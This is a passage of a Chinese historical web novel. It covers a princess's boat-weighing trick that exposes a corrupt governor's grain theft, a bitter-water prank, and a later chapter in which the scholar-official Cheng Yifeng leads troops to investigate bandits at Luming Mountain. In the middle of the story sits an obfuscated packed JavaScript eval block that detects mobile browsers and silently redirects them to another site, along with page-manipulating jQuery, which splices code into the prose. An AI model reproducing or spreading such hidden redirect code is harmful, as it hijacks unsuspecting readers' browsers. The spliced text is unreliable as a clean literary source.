百姓都点头称是,议论着,究竟哪里有这样一件事物。一人道:“就是大佛寺里的铜佛呀,本地最最有名,三百斤不多也不少。”余人道:“三百斤的佛爷怎们能搬得过来?秤上也挂不住呀!” 愉郡主听到,只觉好玩,想起从前听过“秤象”的故事,便道:“挂不住不打紧,只要有这么一件东西,本郡主自有办法秤它。”因吩咐旁边的士兵道:“快去运了来!” 士兵都愣着,把眼望石梦泉,不晓得要不要听这黄毛丫头的话。看愉郡主那满面自信的样子,石梦泉点了点头。士兵得令而去,约莫一顿饭的工夫,果然把佛像运到了。 愉郡主便让他们把佛像抬进总督府内,放在花园池塘的采莲小舟上。小舟下沉了数寸,愉郡主要了士兵的配刀来,在船身上刻下吃水线。 “这里就是三百斤。”她道。既而叫人把佛像抬上来,换了四袋粮食上船,小舟下沉到原先的位子,吃水线分毫不差。“这也是三百斤。”她拍了拍手:“假如照方才量的,玉旒云克扣了近一半的粮食,那每袋粮食是四十五斤,四袋只应该是一百八十斤,铜佛像也应该只有一百八十斤——石将军,你看我说的对不对?” 居然没有和自己作对,石梦泉心里小小吃了一惊,不过更多是讶异于这小姑娘的聪慧,微笑着点头道:“郡主所说不错。” 愉郡主听人夸赞,得意了,愈加忘记了自己找麻烦的初衷,把那配刀擎了,“啪啪”在手中拍着,道:“那么究竟是三百斤还是一百八十斤呢——有人说,铜像年月久了被磕磕碰碰或许短了斤两。本郡主也有个法子来验证。” 她走到了面色惨白的梁冉跟前,道:“三百斤是四千八百两,梁师爷,你总督府的库银不会连四千八百两也拿不出来吧?” 梁冉一跤跌倒在地:“四千八百两……这……” “这什么?”愉郡主逼问。 康申亭阴阴地开口:“以现在的情形看来,佛像轻了一百二十斤多半是不可能的。那就是有人私改官秤官斛了。下官一定彻查此事——至于银子,历来成色有所不一,也做不得准。” 他如此的说法,显然准备先吃了眼前亏跟着找个替罪羊了。梁冉听出自己多半被主子丢下,一时瘫软在地。但愉郡主可不理会这一套,只一心要把自己的绝妙好计都施展出来,直催促人开库拿银。 顾长风倒好像有心要成全小孩子的心愿,道:“各地自铸银两,的确成色不一,各朝各代都大为头疼。但我国自太宗时设立了公估局,把外地流入的银锭批明成色且注明重量,成色低于律法之规定的银锭不予批估,需要重铸增色。所以,如今银锭的重量纵有差别,也十分有限,郡主若用来做砝码粗略估计重量,总归不会差出一百多斤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728587|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听见没?”愉郡主喝道,“还不快去开库拿银子来!” 石梦泉点点头,士兵立刻得令而去。此时梁冉已经只有趴在地上痛哭流涕的力气了,康申亭的脸则好像那铜佛像,阴森僵硬,不知是气愤多一些还是痛恨多一些。 没多一会儿,士兵回来了,却是两手空空,朝石梦泉禀报道:“将军,总督府的银库是空的。” 石梦泉眉峰一蹙:“岂有此理!” 愉郡主跟着嚷道:“你看清楚了没?总督府修得这么好看,我住的那间别苑也和父王的宅邸相当,怎么可能没银子呢?” 顾长风冷冷一笑,怒视着康申亭和梁冉:“这要问康大人才知道。” “还问他做什么?”百姓里有人叫了出来,“就是把房子修得这样,才没银子呀!”接着,附和之声此起彼伏:“贪官!贪了我们的粮,又贪了朝廷的钱!让顾大人和石将军砍了你的脑袋!” 如此一乱,康申亭向日交往的小官员们全都吓破了胆,淅沥哗啦跪倒一片,磕头如捣蒜:“石将军饶命,顾大人饶命,下官可不敢贪污,都是被总督大人逼的……” 石梦泉如何料到无心之中牵出了这样大一桩公案,他本是武将,不熟律法,一时之间不由得愣住了,要看顾长风怎么公断。可这般的沉吟,却被官员们误会,更加害怕了,梁冉竟手脚并用地爬到了跟前,道:“石将军饶命,小的知道康大人把粮食藏在哪里,小的愿意带将军去取粮……” “在哪里?”莫非当真有四百万! 梁冉不敢撒谎:“含元、存嘉、蓄瑞三仓各有地窖近百,都是昔年同楚国战事吃紧时为防安平被占粮食被夺而修建的。将军今天派人去抢含元仓……” “什么抢?”罗满打断他,“我们是替玉将军运粮食去含元仓。你哪只眼睛看见咱们的粮食上写了你们南方七郡总督府的名号?” “哎,到了这个时候,告诉他也无妨。”顾长风制止玩笑,“石将军和顾某正是想出了这个请君入瓮的计策——况且,这米上本来就不该写你南方七郡总督府的名号。这些都是国库的粮食,要写也只能写个‘樾’字。你现在老老实实地交代出来粮食的所在,以及确切的数目,或可将功赎罪。否则,欺君罔上,必然难逃一死。” “是,是。”梁冉碰头不已。 康申亭却在一边啧啧地冷笑了起来。 石梦泉不禁诧异地横了他一眼。 他的脸色依然铁青,可这时却多了三分傲气,把脖子一梗道:“你们又不是钦差大臣,凭什么在此按律量刑?不到刑部过了堂,我就还是堂堂南方七郡总督。况且,你们有何证据说我欺君罔上?安平这里汇集南方七郡的粮食,除了安平是我总督府收粮外,别处自有县令、巡抚负责。他们要造假,岂能赖在我的头上?就安平本地收粮一事,向来都是梁冉一手操办。就是粮库的册子上也都是梁冉的名字。他私改官秤、官斛,又贪赃枉法,如今诬陷本官,本官可要到刑部大堂上去和他论个明白!” “康申亭,你——”梁冉向日是他的一条狗,如今可是急了要跳墙。 在场的众百姓谁不知道师爷不过就是主人的舌头?都叽里呱啦地聒噪:“胡说八道,石将军可不是瞎子呢!石将军有那个……什么,尚方宝剑——就砍了这个贪官!” 康申亭只是冷笑:“那就杀杀看!” 这态度倒真的把石梦泉激怒了:如此剥削百姓欺瞒朝廷的人,就杀了他,怎样?到时皇上怪罪下来,就我一人担待!当下断喝一声:“藐视朝廷的,给我拿下了!” 士兵中里不少安平本地人,自家父母妻儿受尽了康申亭的盘剥欺压,早也等着这一声命令了,俱答道:“是!”响声震天,五、六把钢刀顷刻就架在了康申亭的脖子上,拖下去了。穿过人群的时候,响起一片挥拳头、吐唾沫的解恨之声。 顾长风便继续对梁冉道:“你不用怕,到了刑部大堂上,也有本官和石将军给你作证。你现在就去把去年收粮的册子拿来,这里的每一个人,凡册子上有的,把多收的粮食退还给各人。” 梁冉不敢怠慢,唯唯连声。 百姓中则是一阵欢声雷动。心思一直不知道在哪儿瞎转悠的愉郡主此刻回过神来——其实是娇荇把她叫了回来:“郡主,你乐什么?” “我哪儿乐了?”她摸摸自己的脸,正是兴奋得发烫,便道:“不过挺好玩的,咱们这一趟出来,还没见到这么好玩的事儿呢!” “是么?”娇荇皱了皱眉头,“奴婢倒觉得,还是叫石将军喝醋比较好玩一些。” 愉郡主咬着嘴唇转了转眼睛——石梦泉,若不去惹他,他就连看也不看自己一眼。玉旒云的部下,难道都得有些怪脾气? 那就叫他喝点醋!她想。 康申亭押赴京城。其他各郡的巡抚本来是他招到安平来和石梦泉作对的,赶到时,就统统撞到了刀口上,凡参与弄虚作假盘剥百姓的,一体查拿。 大牢内参与抢粮事件的百姓即刻开释。 含元、存嘉、蓄瑞三仓地窖的粮食全数运返仓中,更在总督府前设秤七天七夜,退还安平百姓被强征的粮食。紧接着,石梦泉依照籍贯将士兵编为七队,由顾长风讲解了灭蝗的要旨,返还各郡家乡,下田耕作,并约定,顾长风轮流在各郡巡查解难,共商治蝗良策。 最先,自然还是在安平附近的村庄。百姓听了养鸡灭蝗的方法,无不惊奇万分,心中难免怀疑,都说:“把鸡放到了地里去,怎见得它们就一定吃蝗虫卵呢?万一糟蹋了庄稼,岂不罪过?” 顾长风道:“不错,因而得特别驯养一群专吃蝗虫的鸡。”即说了如何在夏季捕捉蝗虫,用来喂养鸡雏,到得冬天,小鸡长成,习惯了蝗虫的味道,便可下田灭虫。 大家听得新鲜不已,但仍半信半疑。此时那顾长风的旧友,大佛寺住持苦智禅师即说道:“大家莫急,谁家有鸡的,倒不防先试试。老衲不怕担这酒肉和尚的名字,也愿意养一群来看,不知哪位施主愿意施舍老衲几只鸡?” 一席话把众人都逗笑了。此农忙时节,实在少有功夫清谈,又都下了地去。 石梦泉带士兵亲自耕种,人人都挂了个布口袋,见到一两只蝗虫,立刻抓了塞进袋子去。他立身在绿油油的农田中,近处的生机和远处的黄土形成了鲜明的对比,他不禁想起自己的人生,在遇到玉旒云之前,即如那黄土白地,而之后,则像这勃勃的农田,有一个憧憬无限的将来。 到了那个时候,战争已结束,若能在田间地头了此余生,也算是一件美事。只不过,以玉旒云的脾气,怕是怎么也不肯——如果没有她,石梦泉又怎能一人独来呢? 未免心底有些小小的遗憾。不过,同“永远守在玉旒云身边”相比,其他都根本不值得在意。 于是烈日下石梦泉又笑了起来,感觉无比的畅快。 “喂!那个谁——石梦泉!”他听见有人喊他。看一眼,是愉郡主带着娇荇站在不远处水渠的桥头上。 废不了君臣之礼,他不得不放下手里的锄头前来拜见。 愉郡主看着他的样子,“噗嗤”笑了:“你这哪儿还像个将军?简直就是农夫,有损朝廷威严呢!” “郡主此言差矣。”石梦泉道,“太祖皇帝尚还亲耕,微臣只是个小小的士兵,哪敢……” 愉郡主打断了他:“罗里罗嗦的,讨厌。你别拿太祖皇帝的官话来压我。本郡主可不吃你们那一套。分明就是玉旒云叫你来耕田,你就不敢不耕田。我看明天玉旒云叫你吃蝗虫,你也不敢不吃呢。” 无理取闹,石梦泉懒得理会她。而愉郡主自以为开了个很好的玩笑,已先笑了起来,头上的簪子在太阳下闪闪发亮,叫她整个人也都笼罩在一圈活泼的光晕之中,青春的容颜分外天真可爱。石梦泉也就不再厌恶她了,想起自己和玉旒云都不曾拥有的快乐时光,还想起了玉旒云许多年也不曾穿上的女装——玉旒云要比愉郡主美丽多少倍呢?他想象不出。 愉郡主笑了一会儿,打住了,道:“好吧,好吧,你要效法太祖皇帝,就效法去吧。别以为本郡主只知道玩呢,今日是特地给你的部下送水来的,你看——” 果然,道上一辆水车正辘辘驶来。 “谢郡主。”石梦泉顿首,又反身招呼附近的士兵,齐来休息饮水,并拜谢郡主的恩典。 愉郡主摆了摆手:“好说了,好说了。”等水车到了跟前,即让娇荇亲自拿了瓢端到每个士兵面前。 众兵士自然称谢不已,有些正是年少的,见到娇荇这样一个苗条妩媚的姑娘,忍不住多看了几眼。娇荇起先挺生气,发狠把水瓢夺了回来,不料却泼了自己一身,急得直跺脚。可士兵们都憨憨的傻笑,她又不好发作了,想到别人是欣赏自己的容貌,心里反而生起一股甜蜜,亦把眼偷偷地打量众位士兵,瞧瞧其中可有俊秀的人物。 水瓢终于轮到了石梦泉的跟前,他拱手为谢,可愉郡主却娇喝道:“死奴才,规矩都不知道怎么学的,怎么开始第一瓢不送给石将军,这时候谁都喝过了,石将军还能用你的水瓢么?” 石梦泉愕了愕:“没关系。” 娇荇也吐了吐舌头:“就是,郡主。石将军和部下亲如手足,怎么会在乎别人用过的水瓢呢?” “强词夺理的死奴才!”愉郡主骂,“再说我撕烂你的嘴!” 娇荇连忙不敢再讲。愉郡主嫣然一笑,从腰里解下个精美的水囊:“石将军还是用我这一只吧。” 石梦泉一呆:珍珠闪烁,流苏荡漾。“下官不敢……” “你不敢?”愉郡主乜斜着眼,“你还有什么不敢啊?不是连这点面子也不给本郡主吧?还是你怕本郡主报复你,所以在水里下毒呢?” 原来是提醒自己,当天夜里的冒犯。石梦泉暗想:你还真能毒死我?顶多不过又是拿了醋来给我喝罢了。我且闻一闻气味,再揭穿你不迟。 当下,他把水囊接过了,道:“多谢郡主厚爱,微臣惶恐。”拔开盖子来迅速地一嗅:奇怪,没有一点味道! 他即又有些后悔自己胡乱揣度人心:以这样一个小丫头,哪里真的记仇! 因对着嘴喝了一口——登时满口又麻又苦,脸上的五官都挤到一处去了:“这……这……这是什么?” 愉郡主“咯咯咯”大笑了起来:“黄连呀!石将军,你又不是哑巴,怎么会有苦说不出呢?我可花了好大的功夫,看了好多的书,才把这黄连汤弄成无色无嗅……哈哈!终于着了我的道了吧!” 石梦泉真有上去好好教训教训这小丫头的冲动——倘是自家的妹子,少不得狠狠打她几个巴掌。 然而愉郡主仿佛也觉察出了这种“危险”,转身就往桥下跑,一边跑,还一边笑:“石将军,你回去找玉旒云告状吧!你的这个‘苦’可要好好诉呢!” 苦——石梦泉真的只能苦笑。 士兵们也都偷偷地笑了起来。 愉郡主还是脚步不停地在跑,有阵微风吹过,揭走了她肩上彩霞般的红纱巾。娇荇跟后看见了,伸手要抓,却没有抓到,嚷嚷着:“郡主,你的纱巾!纱巾呀!” 愉郡主才也发现了,惊呼:“哎呀,真的呢,我的纱巾!”转身跳着来抓。 可那风就好像她一样顽皮,婉转清扬,带着纱巾一直朝后飞,经过石梦泉的面前时,不经意在他的眼睛上抚了一下,接着,飘下桥去,不偏不倚就落在了水中。 “哎呀,这可怎么办呐!”两个姑娘嘟囔着。 桥上的士兵笑得更加开心了。石梦泉也把黄连汤抛在了脑后。他看着那纱巾顺水流去,穿行在碧绿的田野里,那一点红,好像要从过去飘来了现在,又要从现在飘去未来。那河流无穷无尽,时间无尽无穷,哪怕天地都消失,红纱巾也还一直飘下去。 蓦地,他痴了。 而实际上,当多年以后,愉郡主香销玉殒,留在石梦泉心里的,就只有这一条红纱巾而已。 7. 第 7 章 程亦风在朝会上“发威”的第二天,竣熙果然就按照他的意思将圣旨发了出来。虽然几位将军都不愿意就这样被一个穷酸书生支使,但也没有办法。他们都在京城赖了一阵,司马非终于还是动身去了平崖。鲁崇明接替耿近仁驻守大堰关,冷千山和向垂杨分别往揽江城和镇海关,只还有董鹏枭一人留在京城——他孤掌难鸣,朝会上的胡搅蛮缠果然就少了很多,出现新气象——抗灾、修堤……事情一件一件地被迅速处理妥当。到了八月的时候,南方已经收上了早熟的粮食,丰收的喜报不停地传回京城来。 这才像是朝廷,这才像是国家!程亦风心情舒畅,几乎又要燃起旧日那大刀阔斧的希望来。 可是偏偏在这个时候,坏消息又传来了:一批军粮从东海富庶之地运往北方给大青河各要塞的将士。当粮食运经揽江时,冷千山说自己有事要去平崖和司马非商议,所以可以顺便带兵押送军粮。户部的粮道拗不过他,唯有答应。不料,冷千山不知何故放着官道不行却走山路,以致在鹿鸣山中遇到了一伙山贼,不仅把粮食全部抢走,连这位堂堂的将军也被扣押。户部的粮道接到此消息,知道自己有失职之处,吓得魂飞魄散,赶忙回京请罪。 众大臣听言,都是既惊又怒还奇怪:冷千山好好的到山里去做什么?土匪只为求财,即使真的胆大到绑架朝廷命官,怎么又不见他们来谈条件?正好竣熙还未到殿上,大臣们就三三两两地议论。 “为今之计,当速速出兵剿匪。”程亦风听到董鹏枭的声音,“鹿鸣山地形复杂,在远平城之后,若为我军所控,则如铜墙铁壁,天然屏障,若为盗贼所控,则成了贴在后心的一块红烙铁。他日同樾国交战时,必为心腹大患。” 他倒是三句话不离“同樾国交战”,程亦风厌恶地想,一眼望过去,却见董鹏枭恭恭敬敬地扶着一位老人,正是长久不上朝的兵部尚书彭汝愚。咦?程亦风怪道,这又是做什么? “程大人!”董鹏枭引着彭汝愚直朝他这边来,“这事你怎么看?” “我?”程亦风正不知道怎样应对,却看到竣熙一行从远处走了过来,于是有了脱身的借口:“那不是太子殿下么?”他一指。 竣熙正是青春年少,两个月的功夫又拔高了一截,白色的绸衫在身上飘飘如云。进来了,即示意众人免礼,开门见山地切入正题:“冷将军在鹿鸣山遇贼,四十万石粮草被劫,众卿以为如何是好?” 众人愣了愣,道:“方才不是说十万石粮草么?怎么成了四十万?” 竣熙道:“方才我叫人呈了漕运的册子来看,发现漕运总数和户部入库总数不合。查问之下,才知荆川地方的三十万石粮食被冷将军调了去。据户部官员讲,冷将军自称替蜀州太守调水灾赈灾粮,可是蜀州太守告急的折子昨天又送来了,可见粮食并未运到。所以,我猜测这三十万石粮食也落到了匪寇手中。” 官员们愈加奇怪了:蜀州和平崖一西一东,一南一北,哪有去平崖送粮草却顺道给蜀州调粮的?何况还跑到了鹿鸣山远平城,那更差了十万八千里…… “太子殿下切勿忧虑。”董鹏枭道,“微臣方才就和彭大人商议过了,离开鹿鸣山的土匪窝最近的,本是远平城。不过,远平据险以守,驻扎的兵队并不多。只要太子殿下发一道命令,让揽江的兵马或者干脆让向将军率领镇海关的兵马前往剿匪,不愁土匪不灭。这样,一来解救冷将军,二来夺回赈灾米粮,三来巩固远平防务,乃一举三得之策。” “这……”虽然正牌兵部尚书就在殿上,竣熙还是望了望程亦风。 “对岸樾国那边,石梦泉率领军队分散在郡之中。名为耕种,实际是何企图,尚不清楚。”程亦风道,“现在冷将军已经不在揽江,倘若向将军又离开镇海,万一樾军突然发难,其后果何堪设想?” “程大人不是先前已经得到探子回报,玉旒云根本就不打算发兵么?”董鹏枭道,“怎么这会儿倒害怕起来?” “咱们有探子,樾国就没有探子?”程亦风道,“玉旒云过去没打算出兵,但是假如她知道揽江、镇海防势空虚,你还怕她不抓住这大好机会?” 董鹏枭愕了愕:“你倒成了她肚子里的蛔虫……”而却也不能反驳程亦风的话,只对彭汝愚道:“彭大人,你看现在是不是应该即刻从他处调兵?我董鹏枭愿率人前往替皇上和太子殿下扫平匪寇。” 彭汝愚满头白发,老态龙钟,仿佛多站一会都会要他的命似的。竣熙连忙叫人赐座。这位老尚书就擦着头上的汗,道:“殿下,臣也以为应该剿匪。” “既然是这样,”竣熙道,“那么就派兵剿匪吧——不知那群匪徒究竟有多少人马,董将军又打算调集多少兵力前往剿灭?” 董鹏枭想了想,道:“一座鹿鸣山,能住下多少山贼?有百余人已是可观。不过,就兵法上来说,他们踞险,我军不利,所以我军若人数上有压倒性优势,则有七成的胜算。兵法又讲究声东击西,攻其不备,假若我带一万兵马,其中五千从鹿鸣山西麓进攻,另五千兵马绕去东麓背面奇袭,则必然将其击破。” 程亦风在兵部被赶鸭子上架地看了些兵书,虽然全无兴趣,但是人道“熟读唐诗三百首,不会作诗也会吟”,听此建议,他觉得这倒还算是个合乎常理的打法。只是就这样发出一万人马,未免有些太小题大做了吧?来回折腾一趟,人要粮,马要草,那得多少百姓的血汗! 他正沉吟不语,董鹏枭又接着道:“鹿鸣山北临大青河,悬崖峭壁,无路可走。不过,南坡的地势却相对平缓,乃是森林绵延的丘陵。倘若我军攻上了山去,贼人却向南面奔逃,一旦进入丘陵,又会被其占据险势。所以,我以为应该再多带一万兵马,事先埋伏在丘陵中,贼人一来,立刻叫他全军覆没。”计算完毕,他向竣熙一礼:“综上,臣以为应该要两万兵马。” 两万!程亦风瞪大了眼睛:你们这帮人今日是狮子大开口了!这不过就是去剿灭土匪,又不是去攻打樾国,如何要得了这么多兵? 可这样一想时,他的心中又仿佛被人猛地重击一拳:攻打樾国,莫非他们要兵剿匪是假,打算暗地里驻军远平才是真?他们带了两万人抢回四十万石粮草,再加上原来冷千山带去的人马,和原本远平的守军,恐怕能有三万人。而司马非此刻还有两万人驻扎在平崖。如此一来,就有五万军队集结在大青河的两大重镇。到时候就算他们不打过河去,玉旒云难道不起疑心?她如果有什么动作,司马非恐怕也就顾不得和冷千山等人的矛盾,八成会放弃原本的固守之计……那就不可收拾了! 程亦风虽然心中骇异,但不轻易说破,先试探一二:“董将军说鹿鸣山北是悬崖峭壁,但匪寇久在山中行走,或许真有飞天之术。若他们不向丘陵遁逃,反而从山北占领远平城,岂不更为棘手?不如让程某也带一万兵马,先进驻远平,以备万一?” “程大人是在玩笑么?”彭汝愚道,“什么‘飞天之术’?国家用兵,乃是死生之地,存亡之道,绝非读书人写两篇传奇话本!”他的语气颇为严厉。本来就不怎么欣赏这个不通兵法的书生,况董鹏枭又说了许多程亦风的“风流韵事”,让彭汝愚直以为自己不在兵部,某些人就开始乘机为非作歹了。“就算土匪能翻下山崖,”他道,“他们还有四十万石粮草,绝不可能从山崖运下去——即使运,也费时费力,若真有此举,反而让我军有机会攻占山头,将他们一举歼灭。程大人大可不必浪费兵力——真有一万闲兵,还不如一并派给董将军,也好确保剿匪万无一失。” 派给董鹏枭,那还不知会闹出什么事来!程亦风不想顶撞彭汝愚,所以不说话。 董鹏枭愤然“哼”了一声:“你们以为他真想带人去鹿鸣山救冷将军么?他分明是素日和冷将军有积怨,这时要公报私仇,是在说风凉话!” 殿上的气氛一时紧张了起来,竣熙尴尬万分,赶紧打圆场:“董将军怎会有此误会?程大人一向把人命看得比金子还重,在落雁谷诸位就该体会到了。他和冷将军平日纵有意见相左,也决无见死不救之理。此外还有那四十万石粮草,蜀州的饥民都还等着赈济,朝廷虽可另发赈灾粮,但国库一旦空虚,后果不堪设想。以程大人公忠体国,怎会袖手旁观?” 好大的一顶帽子!程亦风应也不是,不应也不是,皱着眉头,心里更浮出了一丝新的忧虑:其实冷千山好歹也是一个将军,率领千余士兵,怎么可能被百多名山贼擒了去?莫非他被俘也是假的?是了,他不走官道,偏偏走山路进入鹿鸣山,难道最初的目的地不就是远平城吗?也许他现在已经在远平计划着怎样打过大青河了! 这个念头叫他骇然。 竣熙不明就理,还谦逊地询问:“程大人,究竟要发多少兵,强攻还是巧取,您有何意见,不妨说出来。” 程亦风寻思着对策:不发兵是说不过去的,发兵太少也要落下话柄,既得查明事实真相,又不可叫河对面的玉旒云怀疑……“三千人。”他说道,“东、西和南面各一千,足矣。” “这不是公报私仇是什么!”董鹏枭吼了出来,“我看程大人不仅和冷将军有仇,和我也有仇,巴不得我也被那山贼杀了,他此后就更可自说自话了!” 程亦风淡淡地看着他:“你们都说山贼不过百余人,若每面一千兵马,则总数三十倍于他,这样还不能将其击溃,传了出去,樾国那边自然要笑话我朝中将帅无能,而我国百姓只怕也不敢再信服朝廷了吧?” “你不用砌词狡辩!”董鹏枭怒道,“程亦风,你是落雁谷的大英雄,我是无能之辈。你说三千兵马能把山贼剿灭——那么你亲自去剿灭好了!” 连彭汝愚也道:“老夫听说程大人足智多谋,连樾国的赵临川都被你斩杀。也许你只用一千兵马就能把山贼打得落花流水——毕竟,山贼和赵临川比起来,算是什么! 程亦风万没有想到彭汝愚竟然会和董鹏枭联合起来逼他去领兵。他又惊又怒地瞪着两人,半晌说不出话——他有几斤几两,自己清楚得很——连纸上谈兵都还是半瓶子醋,真刀真枪地干起来,他能做些什么? 然而,竣熙信任及请求的目光已经递了过来,满殿的文武官员也都幸灾乐祸地看着,这都好像是无形的巨手,按着他的头,向下,再向下。 他就垂着头想:连月来,冷千山一派利用崔抱月在凉城内外煽动百姓,时常会有数十人在他府外请愿;几位将军北上之后,虽然“和”“战”的争论少了,但兵部还是时不时会接到“请求出兵”一类联名折子——可见无论是司马非一派还是冷千山一派都还不死心。如今董鹏枭竟然能联合彭汝愚公然要求调兵,且不论冷千山遭遇山贼是真是假,如果当真给了他两万兵马去鹿鸣山,鞭长莫及,恐怕就再也别想收回来了! 局势一旦发展到那时,程亦风确信,自己压不住。 但如今,要设法阻止发兵,除了他去走一趟,还有什么别的法子? 自己固然是绝对没有领兵的本领,不过,圣人云“知其不可为而为之”,君子死国,也算是死得其所! 想用这些书上的话语来鼓励自己,但是怎么也打不起精神来。最后,突然在心里学那武夫似的骂了句粗话:妈的,也不见得就死,我就豁出去跟他们斗一斗,不就是山贼么?我好歹从平北将军阵前保住了凉城,从玉旒云的杀阵中逃出一条老命,又把赵临川击败,就不信斗他们不过!我且到鹿鸣山走一趟,有山贼则剿灭山贼,没有山贼,则揭穿冷千山的诡计! 想着,他向竣熙矮身跪下:“太子殿下,臣愿领三千兵马,剿灭山贼,救出冷将军,请殿下恩准。” 几乎没有什么准备,三千人马很快就点齐了。程亦风本来还预备董鹏枭会坚持“随同”以图不轨,可他半句反对的话也没有,竟还来给他送行。臧天任自然也来饯行,对老友道:“老哥哥早知道你会揽上麻烦,但是这一个也太大了些。不是做朋友的说话不吉利——这伙人还不是等着山贼替他们除去你这个心腹大患?你也真是太过冲动,三千兵马,有几分获胜的把握?” 程亦风虽然心里没底,但也不能让老友担心,笑道:“臧兄何必过虑,多年的交情你还不了解小弟么?小弟旁的本事没有,怕死却是无人能比的,而运气之好天下属不了第一,大概也能马马虎虎排个第二。臧兄只消费心替小弟看好朝中之事,不叫‘搅屎棍’有机可乘,小弟便感激不尽啦。” 臧天任知道劝不住,更加圣旨已下无从阻止,只好敬两杯水酒为好友饯别,送程亦风上路。 过了半个月,一行人就来到了鹿鸣山脚下。 这片山地背向大青河,自东而西,郁郁葱葱绵延数百里,像一条巨大的苍龙盘踞在楚国的北境上。传说这山本叫“连云峰”,楚国开国太祖皇帝征战天下之时,曾在这里遇到一头通体雪白的鹿,用蹄子在土地上划了一横,既而向楚太祖“呦呦”而鸣。太祖先不明其意,但自那以后战无不胜,攻无不克,开创了一片天下。那时再回头想,“土”上加“一”乃是“王”,“王”上加“白”,乃是“皇”。那白鹿竟不是寻常畜生,而是来给他通报天意的。他因而将此山定名为“鹿鸣山”,封鹿为山神,严禁猎杀。 程亦风多年前读《四方山水志》,里面记载鹿鸣山因为禁猎而鹿群成灾,附近田里的秧苗都被这些“山神”吃得一干二净,百姓无法,只好往南方逃荒,惨不忍睹。 如今在鹿鸣山跟前,却并见不到成群结队的野鹿,反而低缓起伏的丘陵中田舍井然,安居乐业之相,与京城相比,有过之而无不及。 程亦风心中暗暗诧异,但也无暇多想,吩咐士兵就地扎营,不可骚扰百姓。但自己信步朝村里走去,意欲打听些关于土匪的情况。 到村口就见到几个孩童在玩耍,绿油油生机昂然的背景下,显得格外亲切可人,声声稚气地唱着童谣:“一头鹿,一头鹿,你来追,我来逐,刀来斩,锅来煮,煮不熟,砍林木。” 乍听起来,歌词莫名其妙,细细一品,似有“逐鹿”之意,而“林”是楚国国姓,“楚”字之上又有双木,竟像是预示国家灭亡的大逆不道之言。程亦风不禁皱了皱眉头,但转念一想:孩童无知,胡乱编了歌谣来唱,我是听者有心罢了!便一笑置之,上前跟孩童问好。 那些孩童都瞪着他,道:“你是什么人?我们不认识你。”又有说:“娘不叫跟外人说话。”转眼便都跑散了。 “这些毛孩子也真不成话!”有士兵担心程亦风会遭遇不测,跟了上来,“程大人要打听状况,倒不如上村里的祠堂召集一干人等来问话好。” 程亦风摇摇手:“村民又不是土匪,怎能随便召来问话?我等若做出这招人厌恶之事,在村民心目中便和土匪无异了。”这只是两条次要原因,最主要的是,孩童能结伴在田间地头玩耍,而父母并不时时在旁看顾,这不像是土匪出没之地的民情。他早也怀疑冷千山遭遇劫持之事有诈,此时疑虑更加强烈起来。 却又不能挑明。他笑笑:“我再多走几步。这里风景甚好,阡陌纵横,蛙声如歌,颇有古人悠然隐居之意。” 士兵晓得这位大人的来头,是探花出身,说些酸溜溜咬文嚼字的话也不足为奇,就不多嘴,跟在后面。程亦风问了他的姓名,知道人称“小莫”。两人走进了村来。 并见不到庄稼汉,只有十来个农妇在门前纺纱闲谈,见到程亦风,都十分诧异。有的立刻就收起纺车跑回家去,有的连纺车都不要了,直朝房里逃。小莫追上前去好不容易才拉住了一个,那妇人哭道:“别抓我,我家里的男人都死绝了,你们抓我去做饭,我女儿就要饿死了。” 原来把他们误会成拉壮丁的了!程亦风好不心酸,赶忙解释:“大婶莫怕,我们不是来征兵的。听说这附近有匪寇出没,大婶可晓得么?” 妇人头摇得像拨浪鼓:“不晓得,不晓得,别问我,别问我。” 小莫拧起眉头:“大婶,你这是做什么?我们来抓土匪是保你们一方太平,又不是害你……” 妇人就好像听不懂他的话,满面惊惶只是摇头。 程亦风忙叫小莫退开:“我们还是走吧……” 话音未落,忽然听到咋咋呼呼一声喊:“哪里来的狗官?”只见一个又高又壮的黑面汉子从村里奔了出来,照着程亦风的脸就是一拳。程亦风不识武功,如何能避?幸亏小莫眼明手快些,一把将他推开,而自己硬生生挨了一下,登时摔出了好几步远。 程亦风连忙扶持。 那黑汉子兀自攥着拳头,咬牙道:“狗官,不是来征兵就是来征粮,还顺便调戏良家妇女,叫你们尝尝爷爷的厉害!”说着,第二拳又打了下来。 小莫赶紧将程亦风挡在身后,出手格开黑汉子的拳头,道:“你晓得程大人是谁么?他是落雁谷的大英雄。救下了六千多将士的性命,还斩杀了樾国将军呢!” 黑汉子道:“呸,爷爷管你落雁谷,落鸭子沟?这些人要不是先被他征了去,又怎么会落到战场遇险要他来救?照你这么说,爷爷我打花了他的脸再给他涂点儿草药糊,也就成了他的大恩人了?” 此话不假。程亦风从来未以英雄自居过,他觉得这汉子虽然粗鲁,倒是个能把事情看透的人。 “你凭什么骂程大人?”小莫一边抵挡黑汉子的攻势一边道,“我楚国大好河山被樾寇侵占,楚国男儿谁不参军上战场的?你空有一身好武艺,却在这里当缩头乌龟,还自己人打自己,算什么英雄好汉了?” 黑汉子愕了愕,骂道:“臭小子,这国是皇帝老子的国,干你屁事?你去跟樾国人拼个你死我活,皇帝老子在京城里搂着大小老婆风流快活。樾国打来,咱没饭吃,樾国不打来,就有饭吃了吗?他娘的,皇帝老子昨儿个开心,就不让杀鹿了,明天开心,又不让吃大米了,后天再开心,说不准连树皮也不让吃——世上哪有这样的道理?这狗皇帝要来有什么用?” 这话传出去是要砍头的。小莫呆了呆,被黑汉子一掌打出丈许。程亦风也被黑汉子一拳逼到了鼻梁上,他只怔着不动:“兄台,你说的大有道理!” 黑汉子的拳风收住,手往下一压,拎住了程亦风的领子,眯着眼睛,道:“怎么,狗官,你害怕了?” 程亦风摇摇头:“古语有云:‘民为贵,社稷次之,君为轻。’禁止猎鹿的确令得地方民不聊生,假如真的禁止食米,那可真要饿殍遍野了。” 黑汉子一望而知是个粗人,程亦风掉书袋他是一点儿也听不明白,只问:“那你也同意皇帝是昏君了?你还给他卖命?给他来征兵?” 程亦风道:“不,我不是来征兵,我是……” 